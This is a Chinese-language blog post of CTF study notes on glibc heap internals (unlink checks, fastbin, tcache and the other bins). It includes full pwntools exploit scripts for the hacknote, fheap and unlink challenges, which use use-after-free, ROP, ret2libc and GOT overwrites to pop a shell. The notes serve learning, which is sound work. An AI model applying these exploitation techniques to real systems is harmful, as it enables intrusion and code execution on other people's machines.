默认分类

二进制学习ing (基础栈、格式化字符串已完成,跳过)

Unlink

基础操作

unlink和课程内软件安全讲的大概相同,就是在chunk free的时候,如果相邻的chunk同时也是free状态,那么2个chunk会在链表中unlink并合并。
过程和ctf-wiki给出的图完全相同,
2022-05-10T12:53:42.png

这个图里大概描述的就是一种use after free 也就是常说的UAF,chunk在free后没有置空,它的fd和bk依然指着东西。有时候可以使用这个方法来leak libc。

wiki中给出的
2022-05-10T12:55:57.png

头部是指最新加入的chunk.
尾部是指最先加入的chunk.也就是最开始加入的。
同时有基于对fd bk的检查。

// fd bk
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                      \
  malloc_printerr (check_action, "corrupted double-linked list", P, AV);  \

  // next_size related
              if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)              \
                || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    \
              malloc_printerr (check_action,                                      \
                               "corrupted double-linked list (not small)",    \
                               P, AV);

这里第一个点检查了 Forward->bk 和 BackWard->fd 是否是P。
以及P->fd_nextsize->bknextsize 以及 P->bknextsize->fdnextsize是否是P
而malloc时产生错误在2.23会触发一些东西:malloc_printerr
在abort里面会 fflush stream。

堆块申请、分配、释放

这里看学弟推荐视频了:并且同时做一些记录吧。
首先在2.27之前 引入的主要是以下3种:按照速度排序
其中各个小版本区别还没有加入,暂时只做基础内容。
fastbin unsortedbin smallbin largebin
这些bins主要的一个分类标准就是chunk的大小。

Fastbin

LIFO
一般fastbins:for(0x10,0x80,0x10):且fastbin 物理相邻 free后不合并。Prev_inuse固定为1
同时需要注意的是fastbins和tcache是单向链表 bk=0 ,所以都不会发生两块相邻free块合并的现象。

Tcache

FIFO
tcache做为2.27(其实是2.26?)新引入的一堆管理机制,它存在于fastbin的前面,它的存储范围和fastbin不同。同时对于一些稍微大一点0x420以下的也可以进行存储。
Tcache一共有64个链,32位下 8字节递增,64位下 16字节递增。 每个链上chunk size大小相同,每个链上最多7个chunk。
需要注意的是tcache是会存满的,一共可以放7个chunk。之后其他就会按大小进入fastbin或者是unsortedbin了。

Unsorted Bin

unsorted bin 是用来管理刚刚释放还未分类的chunk。指free后的chunk但还没进行具体分类前的缓冲。
是双向链表。

Small bin

FIFO
32bit:
for(16,504,4) 一共62个双向链表 从 bins[2]-bins[63]
和Tcache一样 每个链上的chunk size相同,但是没有个数上的限制。

Large Bin

管理大于504 byte (32bit)的chunk
但是这里他没有限制链上chunk size相同。
在64bit里 比0x400大的时候 每0x40大小的放一个链中。其中
Large Chunk 比较特殊:除了 fd bk之外 还有fd_nextsize 和 bk_nextsize
fd_nextsize 前向指针指向前一个最近的size不同的chunk
bk_nextsize 后向指针指向后一个最近的size不同的chunk

malloc 申请的地方过大 空闲chunk无法满足的时候就会 把topchunk分出一块。 如果topchunk 都满足不了就会mmap分配内存空间了。
free 的时候 会把chunk加入对应tcache、fastbin 如果过大就加入 unsortedbin 并且在满足条件的情况下,unsortedbin中相邻2个free的chunk 会合并触发unlink。然后把相应的放到smallbin或者largebin里。

做了个小测试:

#include<stdio.h>
#include<malloc.h>
int main(int argc,char const* argv[]) 
{
    int a,b,c;
    a=malloc(0x510);
    b=malloc(0x520);
    c=malloc(0x900);
    malloc(0x1);
    free(c);
    free(a);
    malloc(0x600);
    return 0;
}

这个是我突发奇想随便写了一个,因为我对unsortedbin 何时分类到small和big中依然存有疑惑。并且在多个size存于unsortedbin时候会如何切。那么这个例子说明应该是会取到比malloc大的第一个size,如果相同大小就会根据FIFO来取。
这里其实有个特点,
2022-05-11T16:23:04.png

如这种情况:main_arena ->c->a,然后用bk遍历,首先遍历到a,然后size(a)!=0x400,就放到largebin去。
然后遍历到c还是size不符合 然后也放到largbin 然后开始在largin找一个》=size0x400的 找到第一个就是c。
找到第一个就是c 剩下的放到unsortedbin。

UAF

就是chunk free后 没设置NULL的问题。导致野指针。
直接上题: HitCon- lab10 hacknote , 2016 hctf

HITCON-lab10 hacknote

一个菜单题。
2022-05-12T03:44:55.png

在delete note 处
2022-05-12T03:45:59.png

可以发现free后没有置空产生了uaf.
在Print处
2022-05-12T03:48:32.png

发现会调用 *(notelist[idx])这一函数。 它是利用函数指针在这里进行调用的。
在add里面
2022-05-12T03:49:37.png

每一次加都会先申请一个 8size chunk。 然后设置函数指针指向print_note_content. 之后会在允许你申请一个chunk出来。
同时程序里定义有一个 magic函数
2022-05-12T03:51:09.png

那么我们的目标就是在 UAF的时候 实现对申请中的chunk的 函数指针改写。
那么其实问题就主要在于他每一次addnote 第一个malloc的是结构体中的函数指针,然后第二个是自行添加的数据,而且在free后没有清空。那么我们首先3次add,可以开辟6个chunk,最下面的防止top chunk合并 ,然后 按顺序 free 0 free 1 ,这个时候 1 2 3 4 chunk都是free的。
2022-05-12T09:04:32.png

之后我们再add的时候 ,free的chunk从fastbin开始取,这个时候要注意顺序了,先free0 再free1 链上 LIFO,所以 在add的时候 1 的结构体 函数指针的chunk会先出去。然后 原有 0的 结构体函数指针的chunk 做为正常数据存储。这个时候我们操作0结构体函数指针chunk数据存入 magic函数地址,然后在Printnote的时候就会调用,实现flag读取了。
exp:

from pwn import *
context.log_level='debug'
r=process("./hacknote")

def addnote(size,content):
    r.recvuntil(":")
    r.sendline("1")
    r.recvuntil(":")
    r.sendline(str(size))
    r.recvuntil(":")
    r.sendline(content)

def delnote(idx):
    r.recvuntil(":")
    r.sendline("2")
    r.recvuntil(":")
    r.sendline(str(idx))

def printnote(idx):
    r.recvuntil(":")
    r.sendline("3")
    r.recvuntil(":")
    r.sendline(str(idx))

addnote(32,"abab")
addnote(32,"acac")
addnote(32,"ssss")
delnote(0)
delnote(1)
#gdb.attach(r,"b *0x08048A81")
addnote(8,p32(0x8048986)) # magic address
printnote(0)
r.interactive()

2016HCTF-fheap

根据反编译做了一些注释:

v7 = __readfsqword(0x28u);
  ptr = malloc(0x20uLL);
  printf("Pls give string size:");
  nbytes = read_num();
  if ( nbytes <= 0x1000 )
  {
    printf("str:");
    if ( read(0, buf, nbytes) == -1 )
    {
      puts("got elf!!");
      exit(1);
    }
    nbytesa = strlen(buf);
    if ( nbytesa > 0xF )
    {
      dest = malloc(nbytesa);
      if ( !dest )
      {
        puts("malloc faild!");
        exit(1);
      }
      strncpy(dest, buf, nbytesa);
      *ptr = dest;
      *(ptr + 3) = free1;                       // 将申请出的 存字符串的chunk和该指向字符串的指针chunk同时free
    }
    else
    {
      strncpy(ptr, buf, nbytesa);               // 字符串比较短 直接 覆盖到申请的chunk上
      *(ptr + 3) = free2;                       // 小free ,因为字符串小没有再次申请chunk所以只需要free本个足够了
    }
    *(ptr + 4) = nbytesa;
    for ( i = 0; i <= 15; ++i )
    {
      if ( !*(&unk_2020C0 + 4 * i) )
      {
        *(&unk_2020C0 + 4 * i) = 1;
        *(&unk_2020C0 + 2 * i + 1) = ptr;
        printf("The string id is %d\n", i);
        break;
      }
    }
    if ( i == 16 )
    {
      puts("The string list is full");
      (*(ptr + 3))(ptr);                        // 超过了上限 直接free
                                                // 
    }
  }
  else
  {
    puts("Invalid size");
    free(ptr);
  }
  v3 = __readfsqword('(');
  printf("Pls give me the string id you want to delete\nid:");
  v1 = read_num();
  if ( v1 < 0 || v1 > 16 )
    puts("Invalid id");
  if ( !*(&unk_2020C0 + 2 * v1 + 1) )
    return __readfsqword(0x28u) ^ v3;
  printf("Are you sure?:");
  read(0, buf, 0x100uLL);
  if ( strncmp(buf, "yes", 3uLL) )
    return __readfsqword(0x28u) ^ v3;
  (*(*(&unk_2020C0 + 2 * v1 + 1) + 24LL))(*(&unk_2020C0 + 2 * v1 + 1));// 调用free
  *(&unk_2020C0 + 4 * v1) = 0;                  // 设置size变成 0
  return __readfsqword(0x28u) ^ v3;

free后依然是没有设置NULL 导致的UAF,而且可以double free。
然后这里的一个问题就是在字符串较大的时候 会申请出第二个chunk来存字符串,而且
2022-05-15T16:15:05.png

这里的chunk有这样的一个结构,他用 指针+3机器字长偏移处存了一个 函数指针,用来进行free函数调用。
那么其实利用点就在这里了。我们可以申请2个小的chunk并释放之后 再去申请一个大的 且字符串size不超过我们的小chunk
那么这里存的字符串为我们所可控,这里可以越界写到我们的函数指针上,从而实现在free 0的时候 调用到 这个函数。
但是这里没有show来打回显。但是通过IDA找低位相同的地址gadget可以发现。
2022-05-15T16:19:58.png

发现这个低位地址有puts,那么可以利用puts。打印出我们对应的堆地址。又已知堆地址和arena之间的偏移固定,通过动调就能获取到了。然后减一下偏移就可以得到ELF_base了。
然后这里我们就需要想办法进一步leak libc地址,由于程序开了PIE,那么想法就是通过把任意函数的地址打印出来。然后去算偏移。那么有了ELF_base就拿到了puts的GOT地址和PLT地址,利用leak libc的常规方法进行rop,但是这里我们没法栈溢出,但是能进行任意地址跳转,我们找到了一个
pop r12;pop r13 ;pop r14 ;pop r15 ;ret的gadget,这正好可以把包括用户输入的前8字节全部从栈上pop出去,在往后跳的时候直接就可以跳转到后续的输入进行ROP,
构造ROP就是:

shellcode='yesaaaaa'
shellcode+=p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(Menu_addr)

这样我们首先pop_rdi 然后把puts_got做为参数穿了进去 然后利用 *puts_plt()将其打印出来,也就是获得了puts函数装载后的真实地址。然后再跳回到Menu上继续正常执行。这样就是成功leak出了libc
最后就是ret2libc的操作了。

shellcode="yesaaaaa"
shellcode+=p64(pop_rdi)+p64(binsh)+p64(system)

直接拿到shell

from pwn import *
context.log_level='debug'
#context.terminal = ["tmux","splitw","-h"]
sh=process("./pwn-f")
libc=ELF("./libc-2.23.so")

def creat(size,creat_str):
    sh.recvuntil('3.quit')
    sh.send('create string')
    sh.recvuntil('Pls give string size:')
    sh.sendline(str(size))
    sh.recvuntil('str:')
    sh.send(creat_str)
def delete(str_id):
    sh.recvuntil('3.quit')
    sh.send('delete string')
    sh.recvuntil('Pls give me the string id you want to delete\nid:')
    sh.sendline(str(str_id))
    sh.recvuntil('Are you sure?:')  
    sh.send("yes")

creat(15,"AAA")
creat(15,"BBB")
creat(15,"CCC")
delete(2)
delete(1)
delete(0)
#pause
#pause()
creat(0x20,"D"*24+'\xe4')
delete(1)
sh.recvuntil(24*'D')
elf_addr=u64(sh.recv(6).ljust(8,'\x00'))-0xde4
#print hex(libc_addr)
print "elf_addr==>"+hex(elf_addr)
sh.sendline('0')
print_plt=elf_addr+0x9d0
print_got=elf_addr+0x202050
puts_plt=elf_addr+0x990
pop_rdi=0x11e3+elf_addr
puts_got=elf_addr+0x202030
Menu_addr=elf_addr+0xc71

pop_4=0x11dc+elf_addr
payload='a'*0x18+p64(pop_4)
delete(0)
print "pop_4"+hex(pop_4)
#print "GG"

creat(0x20,payload)
gdb.attach(sh)
sh.sendline("delete ")
sh.recvuntil("id:")
sh.sendline("1")
sh.recvuntil("Are you sure?:")
shellcode='yesaaaaa'
shellcode+=p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(Menu_addr)
sh.sendline(shellcode)
puts_addr=u64(sh.recv(6).ljust(8,'\x00'))
print "puts_addr=>"+hex(puts_addr)
#gdb.attach(sh)
#pause()

offset=puts_addr-libc.symbols['puts']
print "offset=>"+hex(offset)
#gdb.attach(sh)
#pause()

debug_addr=0xEC6+elf_addr

#gdb.attach(sh,"b *{}".format(hex(debug_addr)))

system=libc.symbols['system']+offset
binsh=libc.search("/bin/sh\x00").next()+offset
print "system_addr=>"+hex(system)
print "binsh=>"+hex(binsh)

sh.sendline("0 ")
payload='a'*0x18+p64(pop_4)
delete(0)
creat(0x20,payload)
sh.sendline("delete ")
sh.recvuntil("id:")
sh.sendline("1")
sh.recvuntil("Are you sure?:")
shellcode="yesaaaaa"
shellcode+=p64(pop_rdi)+p64(binsh)+p64(system)
sh.sendline(shellcode)

#gdb.attach(sh)
sh.interactive()

Unlink1

这里主要写的是由于Unlink 配合其他问题所导致的漏洞利用,在源码里面有对指针的基础检测。
所以一般我们需要通过堆溢出等方法伪造相邻堆块。然后更改下一个堆块的Pre_inuse 和 fd 和 bk从而实现伪装上一个块状态,于是就可以进行攻击了。实现Unlink合并后我们对第一个块还有管理权从而实现堆上的任意写。
通过堆上任意写再对其指针指向的位置改写。从而实现改GOT表。
改free为system这类即可。
这里直接分析一道题目:
2022-05-17T07:56:12.png

还是比较经典的菜单题主要有5个功能。
就是malloc, show ,free ,edit。
主要就是这五种方法。主要看看edit
2022-05-17T07:57:50.png

我们可以发现edit里面直接就对id编号对应上的chunk进行编辑,并且没有任何大小的限制,完全取决于你的传入字符串大小造成了堆溢出。
于是我们可以通过这个堆溢出来伪造chunk,从而实现绕过Unlink的检查条件。
于是我们就可以通过这里进行操作了。
2022-05-17T08:00:54.png

首先我们申请了4个chunk,然后对第一个chunk进行edit ,然后进行伪造。
首先伪造fd和bk ,这里是固定偏移,程序没开PIE,直接对chunk首地址进行操作即可。

py += p64(0) + p64(0x31) # 填充 + size大小 0x30为size 1是 prev_inuse
py += p64(fd) + p64(bk)  # 伪造fd和bk
py += p64(0) + p64(0)    # 填充 
py += p64(0x30) + p64(0x100)   # prev_size和 下一个 size 0x100代表 prev_inuse=False 伪造前一个的释放状态。

因为正常fastbin中大小的chunk 的申请和释放是不会对prev_inuse引起改变的。
于是这里在修改过后 free 第二个chunk后就被认为成是已20经释放的一整个内存块,被存放在来unsorted bin里面。是一个0x130大小的chunk。
然后这里调了好久才弄懂一切东西。
这里开始对 这整个的Unlink过程进行介绍。
他修改的fd和bk都是从0x602300开始偏移的,这是因为0x602300存储的是malloc出第一个chunk的堆地址 记为P0
而我们想Unlink绕过,就需要让P->fd-bk 和P->bk->fd都是P,这里我们需要了解下结构体它的寻址实质是通过偏移。
那么我们已知 fd和 bk的偏移在64位下 为 0x10和0x18所以分别指向了 0x602300-0x18和0x602300-0x10。然后他们就分别是
P->fd和P->bk了 再做寻址的时候。加上偏移后指向的都是0x602300 然后其中存储的值就是堆地址了。也就是绕过了验证。
那么这里触发Unlink之后会往 0x602300上写入 0x602300-0x18 .
然后我们可以通过edit 0来直接写chunk区域了,也就是从0x602300-0x18开始写,填充18个字节之后,就可以进行chunk上面的任意写了。于是我们就可以在上面写 atoi_got,free_got地址.
然后我们可以把free改成Got 然后free(0) 也就变成了 puts(atoi)打印上面atoi的地址。
这样就可以leak出libc了。到这里就非常简单了。
我们后续可以改 atoi,或者改free为system,
这里改atoi会简单很多 ,因为menu里对数字转字符串用的是atoi,改完直接/bin/sh即可,或者改free可以直接
再malloc一个 然后edit(5,0x10,'/bin/shx00')
free(5) 即可得到shell。

from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
local = 1
elf = ELF('./uunlink')
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
if local:
    p = process('./uunlink')
    libc = elf.libc
p = process('./uunlink')
libc = elf.libc
def bk(addr):
    gdb.attach(p,"b *"+str(hex(addr)))
def debug(addr,PIE=True):
    if PIE:
        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
        gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
    else:
        gdb.attach(p,"b *{}".format(hex(addr)))

def malloc(index,size):
    ru("Your choice: ")
    sl('1')
    ru("Give me a book ID: ")
    sl(str(index))
    ru("how long: ")
    sl(str(size))

def free(index):
    ru("Your choice: ")
    sl('3')
    ru("Which one to throw?")
    sl(str(index))

def edit(index,size,content):
    ru("Your choice: ")
    sl('4')
    ru("Which book to write?")
    sl(str(index))
    ru("how big?")
    sl(str(size))
    ru("Content: ")
    sl(content)
malloc(0,0x30)
malloc(1,0xf0)
malloc(2,0x100)
malloc(3,0x100)
atoi_got=elf.got['atoi']
free_got=elf.got['free']
puts_plt=elf.plt['puts']

#free(0)
#debug(0)
#pause()
fd = 0x00602300-0x18
bk = 0x00602300-0x10
py = ''
py += p64(0) + p64(0x31)
py += p64(fd) + p64(bk)
py += p64(0) + p64(0)
py += p64(0x30) + p64(0x100)
edit(0,0x60,py)
free(1)
#   debug(0)
py = ''
py += 'a'*0x18
py += p64(atoi_got)
py += p64(atoi_got)
py += p64(free_got)+"/bin/sh"
#print py
edit(0,0x60,py)
edit(2,0x10,p64(puts_plt))
free(0)
rc(1)
addr = u64(rc(6).ljust(8,'\x00'))-libc.sym["atoi"]
print "addr--->"+hex(addr)
#debug(0)
system = addr + libc.sym["system"]
#edit(4,0x10,'/bin/sh\x00')
edit(2,0x10,p64(system))
malloc(5,0x30)
edit(5,0x10,'/bin/sh\x00')
free(5)

p.interactive()

OFF By XXXX

回复

This is just a placeholder img.